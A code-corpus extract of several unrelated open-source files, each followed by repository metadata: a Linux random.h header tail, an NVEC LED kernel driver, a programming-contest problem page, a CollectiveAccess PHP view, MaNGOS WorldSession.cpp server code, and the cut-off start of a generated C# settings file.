struct rnd_state {
__u32 s1, s2, s3;
};
/* Exported functions */
#ifdef __KERNEL__
extern void rand_initialize_irq(int irq);
extern void add_input_randomness(unsigned int type, unsigned int code,
unsigned int value);
extern void add_interrupt_randomness(int irq);
extern void get_random_bytes(void *buf, int nbytes);
void generate_random_uuid(unsigned char uuid_out[16]);
#ifndef MODULE
extern const struct file_operations random_fops, urandom_fops;
#endif
unsigned int get_random_int(void);
unsigned long randomize_range(unsigned long start, unsigned long end, unsigned long len);
u32 random32(void);
void srandom32(u32 seed);
u32 prandom32(struct rnd_state *);
/*
* Handle minimum values for seeds
*/
static inline u32 __seed(u32 x, u32 m)
{
return (x < m) ? x + m : x;
}
/**
* prandom32_seed - set seed for prandom32().
* @state: pointer to state structure to receive the seed.
* @seed: arbitrary 64-bit value to use as a seed.
*/
static inline void prandom32_seed(struct rnd_state *state, u64 seed)
{
u32 i = (seed >> 32) ^ (seed << 10) ^ seed;
state->s1 = __seed(i, 1);
state->s2 = __seed(i, 7);
state->s3 = __seed(i, 15);
}
#ifdef CONFIG_ARCH_RANDOM
# include <asm/archrandom.h>
#else
static inline int arch_get_random_long(unsigned long *v)
{
return 0;
}
static inline int arch_get_random_int(unsigned int *v)
{
return 0;
}
#endif
u32 prandom_u32(void);
/**
* prandom_u32_max - returns a pseudo-random number in interval [0, ep_ro)
* @ep_ro: right open interval endpoint
*
* Returns a pseudo-random number that is in interval [0, ep_ro). Note
* that the result depends on PRNG being well distributed in [0, ~0U]
* u32 space. Here we use maximally equidistributed combined Tausworthe
* generator, that is, prandom_u32(). This is useful when requesting a
* random index of an array containing ep_ro elements, for example.
*
* Returns: pseudo-random number in interval [0, ep_ro)
*/
static inline u32 prandom_u32_max(u32 ep_ro)
{
return (u32)(((u64) prandom_u32() * ep_ro) >> 32);
}
#endif /* __KERNEL___ */
#endif /* _LINUX_RANDOM_H */
|
hashok/linux-3.3.8-bluetooth-port
|
include/linux/random.h
|
C
|
gpl-2.0
| 3,076
|
/*
* nvec_leds: LED driver for a NVIDIA compliant embedded controller
*
* Copyright (C) 2011 The AC100 Kernel Team <ac100@lists.launchpad.net>
*
* Authors: Ilya Petrov <ilya.muromec@gmail.com>
*
* This file is subject to the terms and conditions of the GNU General Public
* License. See the file "COPYING" in the main directory of this archive
* for more details.
*
*/
#include <linux/module.h>
#include <linux/err.h>
#include <linux/slab.h>
#include <linux/leds.h>
#include <linux/platform_device.h>
#include "nvec.h"
#define to_nvec_led(led_cdev) \
container_of(led_cdev, struct nvec_led, cdev)
#define NVEC_LED_REQ {'\x0d', '\x10', '\x45', '\x10', '\x00'}
#define NVEC_LED_MAX 8
struct nvec_led {
struct led_classdev cdev;
struct nvec_chip *nvec;
};
static void nvec_led_brightness_set(struct led_classdev *led_cdev,
enum led_brightness value)
{
struct nvec_led *led = to_nvec_led(led_cdev);
unsigned char buf[] = NVEC_LED_REQ;
buf[4] = value;
nvec_write_async(led->nvec, buf, sizeof(buf));
led->cdev.brightness = value;
}
static int __devinit nvec_led_probe(struct platform_device *pdev)
{
struct nvec_chip *nvec = dev_get_drvdata(pdev->dev.parent);
struct nvec_led *led;
int ret = 0;
led = kzalloc(sizeof(*led), GFP_KERNEL);
if (led == NULL)
return -ENOMEM;
led->cdev.max_brightness = NVEC_LED_MAX;
led->cdev.brightness_set = nvec_led_brightness_set;
led->cdev.name = "nvec-led";
led->cdev.flags |= LED_CORE_SUSPENDRESUME;
led->nvec = nvec;
platform_set_drvdata(pdev, led);
ret = led_classdev_register(&pdev->dev, &led->cdev);
if (ret < 0)
goto err_led;
/* to expose the default value to userspace */
led->cdev.brightness = 0;
return 0;
err_led:
kfree(led);
return ret;
}
static int __devexit nvec_led_remove(struct platform_device *pdev)
{
struct nvec_led *led = platform_get_drvdata(pdev);
led_classdev_unregister(&led->cdev);
kfree(led);
return 0;
}
static struct platform_driver nvec_led_driver = {
.probe = nvec_led_probe,
.remove = __devexit_p(nvec_led_remove),
.driver = {
.name = "nvec-leds",
.owner = THIS_MODULE,
},
};
static int __init nvec_led_init(void)
{
return platform_driver_register(&nvec_led_driver);
}
module_init(nvec_led_init);
static void __exit nvec_led_exit(void)
{
platform_driver_unregister(&nvec_led_driver);
}
module_exit(nvec_led_exit);
MODULE_AUTHOR("Ilya Petrov <ilya.muromec@gmail.com>");
MODULE_DESCRIPTION("Tegra NVEC LED driver");
MODULE_LICENSE("GPL");
MODULE_ALIAS("platform:nvec-leds");
|
Jackeagle/android_kernel_sony_c2305
|
drivers/staging/nvec/nvec_leds.c
|
C
|
gpl-2.0
| 2,644
|
<?php require("../../includes/header.php"); ?><h1>Sum of Values</h1><div class="content">
<h3>Problem Statement</h3>
<p>
George is fond of playing with balls. One day he found a bag at his home with N number of balls each having a particular value Vi. He started picking up pair of balls from the bag randomly and if value of both balls is less than or equal to M then he increased their value by K and<br />
placd them in the bag again. He perform this until he was unable to choose 2 balls with value less than or equal to M. After performing all this stuff, he calculated the final total value he get from the bag.<br /><br />
TOTAL VALUE- It is equal to the sum of the values of all the balls.</p>
<p>
Now he wants to know, how many unique or different total values he can obtain by playing with balls in the bag.
</p>
<h3>Input</h3>
<p>
First line contain T, number of testcases. T test cases follow.<br /><br />
Every test case contain two lines -<br /><br />
first contains three integers N, M and K,<br /><br />
second line contains N space separated integers, i.e. values written on the ball.
</p>
<h3>Output</h3>
<p>Output an integer for each test case---(answer should be in modulo (10^9 + 7))</p>
<h3>Constraints</h3>
<pre>
1<=t<=10
1<=N<=10^5
1<=Vi<=M
1<=M<=10^12
<h3>Example</h3>
<h3>INPUT
2
3 3 2
1 2 3
4 6 2
2 2 3 4
<h4>OUTPUT</h4>
2
2
</h3></pre> </div><table cellspacing="0" cellpadding="0" align="left">
<tr>
<td width="14%">Author:</td>
<td><a href="/users/ratish1992">ratish1992</a></td>
</tr>
<tr>
<td width="14%">Date Added:</td>
<td>12-10-2013</td>
</tr>
<tr>
<td width="14%">Time Limit:</td>
<td>1 sec</td>
</tr>
<tr>
<td width="14%">Source Limit:</td>
<td>50000 Bytes</td>
</tr>
<tr>
<td width="14%">Languages:</td>
<td>ADA, ASM, BASH, BF, C, C99 strict, CAML, CLOJ, CLPS, CPP 4.3.2, CPP 4.8.1, CPP11, CS2, D, ERL, FORT, FS, GO, HASK, ICK, ICON, JAR, JAVA, JS, LISP clisp, LISP sbcl, LUA, NEM, NICE, NODEJS, PAS fpc, PAS gpc, PERL, PERL6, PHP, PIKE, PRLG, PYTH, PYTH 3.1.2, RUBY, SCALA, SCM guile, SCM qobi, ST, TCL, TEXT, WSPC</td>
</tr>
</table> <?php require("../../includes/footer.php"); ?>
|
tacoder/Virtual-Codechef-Contests
|
contest/DSEC2013/PREE05.php
|
PHP
|
gpl-2.0
| 2,371
|
<?php
/* ----------------------------------------------------------------------
* app/views/administrate/setup/list_item_editor_screen_html.php :
* ----------------------------------------------------------------------
* CollectiveAccess
* Open-source collections management software
* ----------------------------------------------------------------------
*
* Software by Whirl-i-Gig (http://www.whirl-i-gig.com)
* Copyright 2008-2010 Whirl-i-Gig
*
* For more information visit http://www.CollectiveAccess.org
*
* This program is free software; you may redistribute it and/or modify it under
* the terms of the provided license as published by Whirl-i-Gig
*
* CollectiveAccess is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTIES whatsoever, including any implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* This source code is free and modifiable under the terms of
* GNU General Public License. (http://www.gnu.org/copyleft/gpl.html). See
* the "license.txt" file for details, or visit the CollectiveAccess web site at
* http://www.CollectiveAccess.org
*
* ----------------------------------------------------------------------
*/
$t_item = $this->getVar('t_subject');
$vn_item_id = $this->getVar('subject_id');
$t_ui = $this->getVar('t_ui');
$vs_context_id = $this->getVar('_context_id'); // used to restrict idno uniqueness checking to within the current list
print $vs_control_box = caFormControlBox(
caFormSubmitButton($this->request, __CA_NAV_BUTTON_SAVE__, _t("Save"), 'ListItemEditorForm').' '.
caNavButton($this->request, __CA_NAV_BUTTON_CANCEL__, _t("Cancel"), 'administrate/setup/list_item_editor', 'ListItemEditor', 'Edit/'.$this->request->getActionExtra(), array('item_id' => $vn_item_id)),
'',
(intval($vn_item_id) > 0) ? caNavButton($this->request, __CA_NAV_BUTTON_DELETE__, _t("Delete"), 'administrate/setup/list_item_editor', 'ListItemEditor', 'Delete/'.$this->request->getActionExtra(), array('item_id' => $vn_item_id)) : ''
);
?>
<div class="sectionBox">
<?php
print caFormTag($this->request, 'Save/'.$this->request->getActionExtra().'/item_id/'.$vn_item_id, 'ListItemEditorForm', null, 'POST', 'multipart/form-data');
$va_form_elements = $t_item->getBundleFormHTMLForScreen($this->request->getActionExtra(), array(
'request' => $this->request,
'formName' => 'ListItemEditorForm',
'context_id' => $vs_context_id
));
print join("\n", $va_form_elements);
print $vs_control_box;
?>
<input type='hidden' name='_context_id' value='<?php print $this->getVar('_context_id'); ?>'/>
<input type='hidden' name='item_id' value='<?php print $vn_item_id; ?>'/>
</form>
</div>
<div class="editorBottomPadding"><!-- empty --></div>
|
Kunstmaan/CollectiveAccess
|
themes/default/views/administrate/setup/list_item_editor/screen_html.php
|
PHP
|
gpl-2.0
| 2,827
|
/*
* Copyright (C) 2005-2011 MaNGOS <http://getmangos.com/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/** \file
\ingroup u2w
*/
#include "WorldSocket.h" // must be first to make ACE happy with ACE includes in it
#include "Common.h"
#include "Database/DatabaseEnv.h"
#include "Log.h"
#include "Opcodes.h"
#include "WorldPacket.h"
#include "WorldSession.h"
#include "Player.h"
#include "ObjectMgr.h"
#include "Group.h"
#include "Guild.h"
#include "GuildMgr.h"
#include "World.h"
#include "BattleGround/BattleGroundMgr.h"
#include "MapManager.h"
#include "SocialMgr.h"
#include "Warden/WardenWin.h"
#include "Warden/WardenMac.h"
// select opcodes appropriate for processing in Map::Update context for current session state
static bool MapSessionFilterHelper(WorldSession* session, OpcodeHandler const& opHandle)
{
// we do not process thread-unsafe packets
if (opHandle.packetProcessing == PROCESS_THREADUNSAFE)
return false;
// we do not process not loggined player packets
Player* plr = session->GetPlayer();
if (!plr)
return false;
// in Map::Update() we do not process packets where player is not in world!
return plr->IsInWorld();
}
bool MapSessionFilter::Process(WorldPacket* packet)
{
OpcodeHandler const& opHandle = opcodeTable[packet->GetOpcode()];
if (opHandle.packetProcessing == PROCESS_INPLACE)
return true;
// let's check if our opcode can be really processed in Map::Update()
return MapSessionFilterHelper(m_pSession, opHandle);
}
// we should process ALL packets when player is not in world/logged in
// OR packet handler is not thread-safe!
bool WorldSessionFilter::Process(WorldPacket* packet)
{
OpcodeHandler const& opHandle = opcodeTable[packet->GetOpcode()];
// check if packet handler is supposed to be safe
if (opHandle.packetProcessing == PROCESS_INPLACE)
return true;
// let's check if our opcode can't be processed in Map::Update()
return !MapSessionFilterHelper(m_pSession, opHandle);
}
/// WorldSession constructor
WorldSession::WorldSession(uint32 id, WorldSocket* sock, AccountTypes sec, uint8 expansion, time_t mute_time, LocaleConstant locale) :
LookingForGroup_auto_join(false), LookingForGroup_auto_add(false), m_muteTime(mute_time),
_player(NULL), m_Socket(sock), _security(sec), _accountId(id), m_expansion(expansion), _logoutTime(0),
m_inQueue(false), m_playerLoading(false), m_playerLogout(false), m_playerRecentlyLogout(false), m_playerSave(false),
m_sessionDbcLocale(sWorld.GetAvailableDbcLocale(locale)), m_sessionDbLocaleIndex(sObjectMgr.GetIndexForLocale(locale)),
m_latency(0), m_tutorialState(TUTORIALDATA_UNCHANGED), m_Warden(NULL)
{
if (sock)
{
m_Address = sock->GetRemoteAddress();
sock->AddReference();
}
}
/// WorldSession destructor
WorldSession::~WorldSession()
{
///- unload player if not unloaded
if (_player)
LogoutPlayer(true);
/// - If have unclosed socket, close it
if (m_Socket)
{
m_Socket->CloseSocket();
m_Socket->RemoveReference();
m_Socket = NULL;
}
if (m_Warden)
{
delete m_Warden;
m_Warden = NULL;
}
///- empty incoming packet queue
WorldPacket* packet = NULL;
while (_recvQueue.next(packet))
delete packet;
}
void WorldSession::SizeError(WorldPacket const& packet, uint32 size) const
{
sLog.outError("Client (account %u) send packet %s (%u) with size " SIZEFMTD " but expected %u (attempt crash server?), skipped",
GetAccountId(), LookupOpcodeName(packet.GetOpcode()), packet.GetOpcode(), packet.size(), size);
}
/// Get the player name
char const* WorldSession::GetPlayerName() const
{
return GetPlayer() ? GetPlayer()->GetName() : "<none>";
}
/// Send a packet to the client
void WorldSession::SendPacket(WorldPacket const* packet)
{
if (!m_Socket)
return;
#ifdef MANGOS_DEBUG
// Code for network use statistic
static uint64 sendPacketCount = 0;
static uint64 sendPacketBytes = 0;
static time_t firstTime = time(NULL);
static time_t lastTime = firstTime; // next 60 secs start time
static uint64 sendLastPacketCount = 0;
static uint64 sendLastPacketBytes = 0;
time_t cur_time = time(NULL);
if ((cur_time - lastTime) < 60)
{
sendPacketCount += 1;
sendPacketBytes += packet->size();
sendLastPacketCount += 1;
sendLastPacketBytes += packet->size();
}
else
{
uint64 minTime = uint64(cur_time - lastTime);
uint64 fullTime = uint64(lastTime - firstTime);
DETAIL_LOG("Send all time packets count: " UI64FMTD " bytes: " UI64FMTD " avr.count/sec: %f avr.bytes/sec: %f time: %u", sendPacketCount, sendPacketBytes, float(sendPacketCount) / fullTime, float(sendPacketBytes) / fullTime, uint32(fullTime));
DETAIL_LOG("Send last min packets count: " UI64FMTD " bytes: " UI64FMTD " avr.count/sec: %f avr.bytes/sec: %f", sendLastPacketCount, sendLastPacketBytes, float(sendLastPacketCount) / minTime, float(sendLastPacketBytes) / minTime);
lastTime = cur_time;
sendLastPacketCount = 1;
sendLastPacketBytes = packet->wpos(); // wpos is real written size
}
#endif // !MANGOS_DEBUG
if (m_Socket->SendPacket(*packet) == -1)
m_Socket->CloseSocket();
}
/// Add an incoming packet to the queue
void WorldSession::QueuePacket(WorldPacket* new_packet)
{
_recvQueue.add(new_packet);
}
/// Logging helper for unexpected opcodes
void WorldSession::LogUnexpectedOpcode(WorldPacket* packet, const char* reason)
{
sLog.outError("SESSION: received unexpected opcode %s (0x%.4X) %s",
LookupOpcodeName(packet->GetOpcode()),
packet->GetOpcode(),
reason);
}
/// Logging helper for unexpected opcodes
void WorldSession::LogUnprocessedTail(WorldPacket* packet)
{
sLog.outError("SESSION: opcode %s (0x%.4X) have unprocessed tail data (read stop at " SIZEFMTD " from " SIZEFMTD ")",
LookupOpcodeName(packet->GetOpcode()),
packet->GetOpcode(),
packet->rpos(), packet->wpos());
}
/// Update the WorldSession (triggered by World update)
bool WorldSession::Update(PacketFilter& updater)
{
///- Retrieve packets from the receive queue and call the appropriate handlers
/// not process packets if socket already closed
WorldPacket* packet = NULL;
while (m_Socket && !m_Socket->IsClosed() && _recvQueue.next(packet, updater))
{
/*#if 1
sLog.outError( "MOEP: %s (0x%.4X)",
LookupOpcodeName(packet->GetOpcode()),
packet->GetOpcode());
#endif*/
OpcodeHandler const& opHandle = opcodeTable[packet->GetOpcode()];
try
{
switch (opHandle.status)
{
case STATUS_LOGGEDIN:
if (!_player)
{
// skip STATUS_LOGGEDIN opcode unexpected errors if player logout sometime ago - this can be network lag delayed packets
if (!m_playerRecentlyLogout)
LogUnexpectedOpcode(packet, "the player has not logged in yet");
}
else if (_player->IsInWorld())
ExecuteOpcode(opHandle, packet);
// lag can cause STATUS_LOGGEDIN opcodes to arrive after the player started a transfer
break;
case STATUS_LOGGEDIN_OR_RECENTLY_LOGGEDOUT:
if (!_player && !m_playerRecentlyLogout)
{
LogUnexpectedOpcode(packet, "the player has not logged in yet and not recently logout");
}
else
// not expected _player or must checked in packet hanlder
ExecuteOpcode(opHandle, packet);
break;
case STATUS_TRANSFER:
if (!_player)
LogUnexpectedOpcode(packet, "the player has not logged in yet");
else if (_player->IsInWorld())
LogUnexpectedOpcode(packet, "the player is still in world");
else
ExecuteOpcode(opHandle, packet);
break;
case STATUS_AUTHED:
// prevent cheating with skip queue wait
if (m_inQueue)
{
LogUnexpectedOpcode(packet, "the player not pass queue yet");
break;
}
// single from authed time opcodes send in to after logout time
// and before other STATUS_LOGGEDIN_OR_RECENTLY_LOGGOUT opcodes.
if (packet->GetOpcode() != CMSG_SET_ACTIVE_VOICE_CHANNEL)
m_playerRecentlyLogout = false;
ExecuteOpcode(opHandle, packet);
break;
case STATUS_NEVER:
sLog.outError("SESSION: received not allowed opcode %s (0x%.4X)",
LookupOpcodeName(packet->GetOpcode()),
packet->GetOpcode());
break;
case STATUS_UNHANDLED:
DEBUG_LOG("SESSION: received not handled opcode %s (0x%.4X)",
LookupOpcodeName(packet->GetOpcode()),
packet->GetOpcode());
break;
default:
sLog.outError("SESSION: received wrong-status-req opcode %s (0x%.4X)",
LookupOpcodeName(packet->GetOpcode()),
packet->GetOpcode());
break;
}
}
catch (ByteBufferException&)
{
sLog.outError("WorldSession::Update ByteBufferException occured while parsing a packet (opcode: %u) from client %s, accountid=%i.",
packet->GetOpcode(), GetRemoteAddress().c_str(), GetAccountId());
if (sLog.HasLogLevelOrHigher(LOG_LVL_DEBUG))
{
DEBUG_LOG("Dumping error causing packet:");
packet->hexlike();
}
if (sWorld.getConfig(CONFIG_BOOL_KICK_PLAYER_ON_BAD_PACKET))
{
DETAIL_LOG("Disconnecting session [account id %u / address %s] for badly formatted packet.",
GetAccountId(), GetRemoteAddress().c_str());
KickPlayer();
}
}
delete packet;
}
///- Cleanup socket pointer if need
if (m_Socket && m_Socket->IsClosed())
{
m_Socket->RemoveReference();
m_Socket = NULL;
}
if (m_Socket && !m_Socket->IsClosed() && m_Warden)
m_Warden->Update();
// check if we are safe to proceed with logout
// logout procedure should happen only in World::UpdateSessions() method!!!
if (updater.ProcessLogout())
{
///- If necessary, log the player out
time_t currTime = time(NULL);
if (!m_Socket || (ShouldLogOut(currTime) && !m_playerLoading))
LogoutPlayer(true);
if (!m_Socket)
return false; // Will remove this session from the world session map
}
return true;
}
/// %Log the player out
void WorldSession::LogoutPlayer(bool Save)
{
// finish pending transfers before starting the logout
while (_player && _player->IsBeingTeleportedFar())
HandleMoveWorldportAckOpcode();
m_playerLogout = true;
m_playerSave = Save;
if (_player)
{
sLog.outChar("Account: %d (IP: %s) Logout Character:[%s] (guid: %u)", GetAccountId(), GetRemoteAddress().c_str(), _player->GetName() , _player->GetGUIDLow());
if (ObjectGuid lootGuid = GetPlayer()->GetLootGuid())
DoLootRelease(lootGuid);
///- If the player just died before logging out, make him appear as a ghost
// FIXME: logout must be delayed in case lost connection with client in time of combat
if (_player->GetDeathTimer())
{
_player->getHostileRefManager().deleteReferences();
_player->BuildPlayerRepop();
_player->RepopAtGraveyard();
}
else if (!_player->getAttackers().empty())
{
_player->CombatStop();
_player->getHostileRefManager().setOnlineOfflineState(false);
_player->RemoveAllAurasOnDeath();
// build set of player who attack _player or who have pet attacking of _player
std::set<Player*> aset;
for (Unit::AttackerSet::const_iterator itr = _player->getAttackers().begin(); itr != _player->getAttackers().end(); ++itr)
{
Unit* owner = (*itr)->GetOwner(); // including player controlled case
if (owner)
{
if (owner->GetTypeId() == TYPEID_PLAYER)
aset.insert((Player*)owner);
}
else if ((*itr)->GetTypeId() == TYPEID_PLAYER)
aset.insert((Player*)(*itr));
}
_player->SetPvPDeath(!aset.empty());
_player->KillPlayer();
_player->BuildPlayerRepop();
_player->RepopAtGraveyard();
// give honor to all attackers from set like group case
for (std::set<Player*>::const_iterator itr = aset.begin(); itr != aset.end(); ++itr)
(*itr)->RewardHonor(_player, aset.size());
// give bg rewards and update counters like kill by first from attackers
// this can't be called for all attackers.
if (!aset.empty())
if (BattleGround* bg = _player->GetBattleGround())
bg->HandleKillPlayer(_player, *aset.begin());
}
else if (_player->HasAuraType(SPELL_AURA_SPIRIT_OF_REDEMPTION))
{
// this will kill character by SPELL_AURA_SPIRIT_OF_REDEMPTION
_player->RemoveSpellsCausingAura(SPELL_AURA_MOD_SHAPESHIFT);
//_player->SetDeathPvP(*); set at SPELL_AURA_SPIRIT_OF_REDEMPTION apply time
_player->KillPlayer();
_player->BuildPlayerRepop();
_player->RepopAtGraveyard();
}
// drop a flag if player is carrying it
if (BattleGround* bg = _player->GetBattleGround())
bg->EventPlayerLoggedOut(_player);
///- Teleport to home if the player is in an invalid instance
if (!_player->m_InstanceValid && !_player->isGameMaster())
{
_player->TeleportToHomebind();
// this is a bad place to call for far teleport because we need player to be in world for successful logout
// maybe we should implement delayed far teleport logout?
}
// FG: finish pending transfers after starting the logout
// this should fix players beeing able to logout and login back with full hp at death position
while (_player->IsBeingTeleportedFar())
HandleMoveWorldportAckOpcode();
for (int i = 0; i < PLAYER_MAX_BATTLEGROUND_QUEUES; ++i)
{
if (BattleGroundQueueTypeId bgQueueTypeId = _player->GetBattleGroundQueueTypeId(i))
{
_player->RemoveBattleGroundQueueId(bgQueueTypeId);
sBattleGroundMgr.m_BattleGroundQueues[ bgQueueTypeId ].RemovePlayer(_player->GetObjectGuid(), true);
}
}
///- Reset the online field in the account table
// no point resetting online in character table here as Player::SaveToDB() will set it to 1 since player has not been removed from world at this stage
// No SQL injection as AccountID is uint32
static SqlStatementID id;
SqlStatement stmt = LoginDatabase.CreateStatement(id, "UPDATE account SET active_realm_id = ? WHERE id = ?");
stmt.PExecute(uint32(0), GetAccountId());
///- If the player is in a guild, update the guild roster and broadcast a logout message to other guild members
if (Guild* guild = sGuildMgr.GetGuildById(_player->GetGuildId()))
{
if (MemberSlot* slot = guild->GetMemberSlot(_player->GetObjectGuid()))
{
slot->SetMemberStats(_player);
slot->UpdateLogoutTime();
}
guild->BroadcastEvent(GE_SIGNED_OFF, _player->GetObjectGuid(), _player->GetName());
}
///- Remove pet
_player->RemovePet(PET_SAVE_AS_CURRENT);
///- empty buyback items and save the player in the database
// some save parts only correctly work in case player present in map/player_lists (pets, etc)
if (Save)
_player->SaveToDB();
///- Leave all channels before player delete...
_player->CleanupChannels();
///- If the player is in a group (or invited), remove him. If the group if then only 1 person, disband the group.
_player->UninviteFromGroup();
// remove player from the group if he is:
// a) in group; b) not in raid group; c) logging out normally (not being kicked or disconnected)
if (_player->GetGroup() && !_player->GetGroup()->isRaidGroup() && m_Socket)
_player->RemoveFromGroup();
///- Send update to group
if (_player->GetGroup())
_player->GetGroup()->SendUpdate();
///- Broadcast a logout message to the player's friends
sSocialMgr.SendFriendStatus(_player, FRIEND_OFFLINE, _player->GetObjectGuid(), true);
sSocialMgr.RemovePlayerSocial(_player->GetGUIDLow());
///- Remove the player from the world
// the player may not be in the world when logging out
// e.g if he got disconnected during a transfer to another map
// calls to GetMap in this case may cause crashes
if (_player->IsInWorld())
{
Map* _map = _player->GetMap();
_map->Remove(_player, true);
}
else
{
_player->CleanupsBeforeDelete();
Map::DeleteFromWorld(_player);
}
SetPlayer(NULL); // deleted in Remove/DeleteFromWorld call
///- Send the 'logout complete' packet to the client
WorldPacket data(SMSG_LOGOUT_COMPLETE, 0);
SendPacket(&data);
///- Since each account can only have one online character at any given time, ensure all characters for active account are marked as offline
// No SQL injection as AccountId is uint32
static SqlStatementID updChars;
stmt = CharacterDatabase.CreateStatement(updChars, "UPDATE characters SET online = 0 WHERE account = ?");
stmt.PExecute(GetAccountId());
DEBUG_LOG("SESSION: Sent SMSG_LOGOUT_COMPLETE Message");
}
m_playerLogout = false;
m_playerSave = false;
m_playerRecentlyLogout = true;
LogoutRequest(0);
}
/// Kick a player out of the World
void WorldSession::KickPlayer()
{
if (m_Socket)
m_Socket->CloseSocket();
}
/// Cancel channeling handler
void WorldSession::SendAreaTriggerMessage(const char* Text, ...)
{
va_list ap;
char szStr [1024];
szStr[0] = '\0';
va_start(ap, Text);
vsnprintf(szStr, 1024, Text, ap);
va_end(ap);
uint32 length = strlen(szStr) + 1;
WorldPacket data(SMSG_AREA_TRIGGER_MESSAGE, 4 + length);
data << length;
data << szStr;
SendPacket(&data);
}
void WorldSession::SendNotification(const char* format, ...)
{
if (format)
{
va_list ap;
char szStr [1024];
szStr[0] = '\0';
va_start(ap, format);
vsnprintf(szStr, 1024, format, ap);
va_end(ap);
WorldPacket data(SMSG_NOTIFICATION, (strlen(szStr) + 1));
data << szStr;
SendPacket(&data);
}
}
void WorldSession::SendNotification(int32 string_id, ...)
{
char const* format = GetMangosString(string_id);
if (format)
{
va_list ap;
char szStr [1024];
szStr[0] = '\0';
va_start(ap, string_id);
vsnprintf(szStr, 1024, format, ap);
va_end(ap);
WorldPacket data(SMSG_NOTIFICATION, (strlen(szStr) + 1));
data << szStr;
SendPacket(&data);
}
}
const char* WorldSession::GetMangosString(int32 entry) const
{
return sObjectMgr.GetMangosString(entry, GetSessionDbLocaleIndex());
}
void WorldSession::Handle_NULL(WorldPacket& recvPacket)
{
DEBUG_LOG("SESSION: received unimplemented opcode %s (0x%.4X)",
LookupOpcodeName(recvPacket.GetOpcode()),
recvPacket.GetOpcode());
}
void WorldSession::Handle_EarlyProccess(WorldPacket& recvPacket)
{
sLog.outError("SESSION: received opcode %s (0x%.4X) that must be processed in WorldSocket::OnRead",
LookupOpcodeName(recvPacket.GetOpcode()),
recvPacket.GetOpcode());
}
void WorldSession::Handle_ServerSide(WorldPacket& recvPacket)
{
sLog.outError("SESSION: received server-side opcode %s (0x%.4X)",
LookupOpcodeName(recvPacket.GetOpcode()),
recvPacket.GetOpcode());
}
void WorldSession::Handle_Deprecated(WorldPacket& recvPacket)
{
sLog.outError("SESSION: received deprecated opcode %s (0x%.4X)",
LookupOpcodeName(recvPacket.GetOpcode()),
recvPacket.GetOpcode());
}
void WorldSession::SendAuthWaitQue(uint32 position)
{
if (position == 0)
{
WorldPacket packet(SMSG_AUTH_RESPONSE, 1);
packet << uint8(AUTH_OK);
SendPacket(&packet);
}
else
{
WorldPacket packet(SMSG_AUTH_RESPONSE, 1 + 4);
packet << uint8(AUTH_WAIT_QUEUE);
packet << uint32(position);
SendPacket(&packet);
}
}
void WorldSession::LoadTutorialsData()
{
for (int aX = 0 ; aX < 8 ; ++aX)
m_Tutorials[ aX ] = 0;
QueryResult* result = CharacterDatabase.PQuery("SELECT tut0,tut1,tut2,tut3,tut4,tut5,tut6,tut7 FROM character_tutorial WHERE account = '%u'", GetAccountId());
if (!result)
{
m_tutorialState = TUTORIALDATA_NEW;
return;
}
do
{
Field* fields = result->Fetch();
for (int iI = 0; iI < 8; ++iI)
m_Tutorials[iI] = fields[iI].GetUInt32();
}
while (result->NextRow());
delete result;
m_tutorialState = TUTORIALDATA_UNCHANGED;
}
void WorldSession::SendTutorialsData()
{
WorldPacket data(SMSG_TUTORIAL_FLAGS, 4 * 8);
for (uint32 i = 0; i < 8; ++i)
data << m_Tutorials[i];
SendPacket(&data);
}
void WorldSession::SaveTutorialsData()
{
static SqlStatementID updTutorial ;
static SqlStatementID insTutorial ;
switch (m_tutorialState)
{
case TUTORIALDATA_CHANGED:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(updTutorial, "UPDATE character_tutorial SET tut0=?, tut1=?, tut2=?, tut3=?, tut4=?, tut5=?, tut6=?, tut7=? WHERE account = ?");
for (int i = 0; i < 8; ++i)
stmt.addUInt32(m_Tutorials[i]);
stmt.addUInt32(GetAccountId());
stmt.Execute();
}
break;
case TUTORIALDATA_NEW:
{
SqlStatement stmt = CharacterDatabase.CreateStatement(insTutorial, "INSERT INTO character_tutorial (account,tut0,tut1,tut2,tut3,tut4,tut5,tut6,tut7) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)");
stmt.addUInt32(GetAccountId());
for (int i = 0; i < 8; ++i)
stmt.addUInt32(m_Tutorials[i]);
stmt.Execute();
}
break;
case TUTORIALDATA_UNCHANGED:
break;
}
m_tutorialState = TUTORIALDATA_UNCHANGED;
}
void WorldSession::InitWarden(BigNumber *K, std::string os)
{
if (!sWorld.getConfig(CONFIG_BOOL_WARDEN_ENABLED))
return;
if (os == "Win") // Windows
m_Warden = (WardenBase*)new WardenWin();
else // MacOS
m_Warden = (WardenBase*)new WardenMac();
m_Warden->Init(this, K);
}
void WorldSession::ExecuteOpcode(OpcodeHandler const& opHandle, WorldPacket* packet)
{
// need prevent do internal far teleports in handlers because some handlers do lot steps
// or call code that can do far teleports in some conditions unexpectedly for generic way work code
if (_player)
_player->SetCanDelayTeleport(true);
(this->*opHandle.handler)(*packet);
if (_player)
{
// can be not set in fact for login opcode, but this not create porblems.
_player->SetCanDelayTeleport(false);
// we should execute delayed teleports only for alive(!) players
// because we don't want player's ghost teleported from graveyard
if (_player->IsHasDelayedTeleport())
_player->TeleportTo(_player->m_teleport_dest, _player->m_teleport_options);
}
if (packet->rpos() < packet->wpos() && sLog.HasLogLevelOrHigher(LOG_LVL_DEBUG))
LogUnprocessedTail(packet);
}
|
Atari007/master
|
src/game/WorldSession.cpp
|
C++
|
gpl-2.0
| 26,112
|
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:2.0.50727.1434
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Starter_App.Properties
{
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
